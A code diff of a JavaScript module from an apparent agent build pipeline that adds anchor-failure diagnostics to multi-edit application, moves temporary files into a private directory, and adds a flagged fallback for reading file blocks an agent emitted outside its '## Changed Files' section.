227
224
  /**
228
225
  * HC-GF-109 — apply every region edit for ONE file, as one change.
229
226
  *
@@ -241,9 +238,21 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
241
238
  * @throws {MaterializeError} code 'anchor_not_found' | 'anchor_ambiguous'
242
239
  */
243
240
  function applyEdits(fileContents, edits, repoPath) {
244
- let out = String(fileContents);
241
+ const base = String(fileContents);
242
+ let out = base;
245
243
  edits.forEach((e, i) => {
246
- out = applyEdit(out, e.oldString, e.newString, edits.length > 1 ? `${repoPath} (edit ${i + 1} of ${edits.length})` : repoPath);
244
+ const where = edits.length > 1 ? `${repoPath} (edit ${i + 1} of ${edits.length})` : repoPath;
245
+ try {
246
+ out = applyEdit(out, e.oldString, e.newString, where);
247
+ } catch (err) {
248
+ // HC-GF-265: only the not-found case is diagnosed. `anchor_ambiguous` already names the
249
+ // edit and is out of scope (HC-GF-109 pins its message), so it is rethrown untouched.
250
+ if (!(err instanceof MaterializeError) || err.code !== 'anchor_not_found') throw err;
251
+ const j = diagnoseDestroyedAnchor(base, edits, i);
252
+ if (j === null) throw err;
253
+ throw new MaterializeError('anchor_not_found',
254
+ `${err.message} ${destroyedAnchorSuffix(j + 1, i + 1, edits.length)}`);
255
+ }
247
256
  });
248
257
  return out;
249
258
  }
@@ -429,7 +438,6 @@ function ensureTrailingNewline(s) {
429
438
  */
430
439
  function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
431
440
  const fs = require('node:fs');
432
- const os = require('node:os');
433
441
  const p = require('node:path');
434
442
  const { execFileSync } = require('node:child_process');
435
443
  const { gitEnv } = require('./git-env');
@@ -441,9 +449,10 @@ function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
441
449
  return fs.existsSync(abs) ? fs.readFileSync(abs, 'utf8') : null;
442
450
  },
443
451
  tmpFile: (contents) => {
444
- const tp = p.join(os.tmpdir(), `hone-mat-${process.pid}-${Date.now()}-${n++}`);
445
- fs.writeFileSync(tp, contents);
446
- return { path: tp, cleanup: () => { try { fs.unlinkSync(tp); } catch { /* best-effort */ } } };
452
+ // HC-GF-304: its own directory, not a name in the shared one that another local user can predict and plant.
453
+ const t = require('./private-temp').privateTempFile('hone-mat', `candidate-${n++}`);
454
+ fs.writeFileSync(t.file, contents);
455
+ return { path: t.file, cleanup: t.remove };
447
456
  },
448
457
  runGitDiff: (origArg, candPath) => {
449
458
  let stdout = '', code = 0;
@@ -505,6 +514,51 @@ function hasMaterializableWork(blocks) {
505
514
  (blocks.deletes || []).length > 0 || (blocks.malformed || []).length > 0;
506
515
  }
507
516
 
517
+
518
+ /**
519
+ * Read the file / edit / delete blocks an agent emitted.
520
+ *
521
+ * Scoped to `## Changed Files` when that heading exists, so a code sample elsewhere in the prose
522
+ * is never mistaken for an intended file — the guard is right and is kept.
523
+ *
524
+ * HC-GF-191: what the guard could not survive is the heading arriving AFTER the blocks. On run
525
+ * 44a0c69f the builder emitted a complete implementation under `## Implementation Code` and then a
526
+ * `## Changed Files` SUMMARY below it, so the slice began past every block: 0 files, 0 edits, and
527
+ * 0 malformed. verify-patch reported "produced no file changes to verify" for a finished build,
528
+ * with nothing anywhere saying a section had been skipped.
529
+ *
530
+ * The fallback is narrow on purpose. It fires ONLY when the scoped section yields nothing, so
531
+ * wherever the mandated section holds real blocks there is nothing to confuse them with and the
532
+ * scope still wins. And it is never silent: `scopeFallback` plus a reason name the deviation,
533
+ * because a guard that quietly changes what it read is precisely how this defect reached a run.
534
+ *
535
+ * @param {string} output raw agent artifact
536
+ * @returns {{files: Array, edits: Array, deletes: Array, malformed: Array, noChanges: boolean,
537
+ * reason: string|null, scopeFallback?: boolean}}
538
+ */
539
+ function extractFileBlocks(output) {
540
+ const text = String(output || '');
541
+ const secIdx = text.search(/^##\s+Changed Files/im);
542
+ if (secIdx === -1) return parseBlocksIn(text);
543
+
544
+ const scoped = parseBlocksIn(text.slice(secIdx));
545
+ if (hasMaterializableWork(scoped) || scoped.noChanges) return scoped;
546
+
547
+ // The mandated section held nothing. Before calling that "no changes", look at the whole
548
+ // artifact — the difference between "there is nothing to apply" and "what there is, is
549
+ // somewhere else" is the difference between an honest no-op and a lost build.
550
+ const whole = parseBlocksIn(text);
551
+ if (!hasMaterializableWork(whole)) return scoped;
552
+
553
+ return {
554
+ ...whole,
555
+ scopeFallback: true,
556
+ reason: 'blocks were found OUTSIDE the `## Changed Files` section and read from the whole '
557
+ + 'artifact instead. The code-builder contract puts them under that heading; emitting them '
558
+ + 'above it (or under another heading) would otherwise be read as "no changes".',
559
+ };
560
+ }
561
+
508
562
  module.exports = {
509
563
  extractFileBlocks,
510
564
  normalizeRepoPath,
@@ -515,6 +569,10 @@ module.exports = {
515
569
  headMaterializeIO,
516
570
  applyEdit,
517
571
  applyEdits,
572
+ // HC-GF-265: exported so the resolved pair is asserted by BEHAVIOUR and so the wording can be
573
+ // compared against carry-forward.js's copy directly, not inferred from a message regex.
574
+ destroyedAnchorSuffix,
575
+ diagnoseDestroyedAnchor,
518
576
  hasMaterializableWork,
519
577
  EDIT_OPEN_RE,
520
578
  countOccurrences,